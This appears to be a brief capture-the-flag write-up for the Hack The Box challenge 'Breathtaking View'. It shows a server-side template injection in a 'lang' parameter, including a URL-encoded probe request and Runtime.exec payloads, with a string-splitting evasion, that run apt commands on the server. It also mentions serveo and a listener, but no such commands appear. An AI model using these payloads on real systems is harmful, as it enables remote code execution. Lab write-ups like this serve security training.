๐Breathtaking View
https://app.hackthebox.com/challenges/Breathtaking%2520View
Lang Parameter SSTI
URL Encoding on lang prameter after registering a user
GET /?lang=%5F%5F%24%7B7%2A7%7D%5F%5F%3A%3A%2Ex HTTP/1.1
Host: 83.136.254.158:47663
Accept-Language: de-DE,de;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://83.136.254.158:47663/?lang=fr
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=45E2BD7F8A86B36CAED250407C7B7A19
Connection: keep-alive...
Error resolving template [49]
...A little tweaking the command and we can install curl
__*{"".getClass().forName('j'+'av'+'a.lang.Runtime').getRuntime().exec("apt update")}__::.x__*{"".getClass().forName('j'+'av'+'a.lang.Runtime').getRuntime().exec("apt install -y curl")}__::.xAll Command needed to be URL-Encoded use Burp-Suite for this. The full commmand would look like this:
Exposing IP using serveo
Listener
Last updated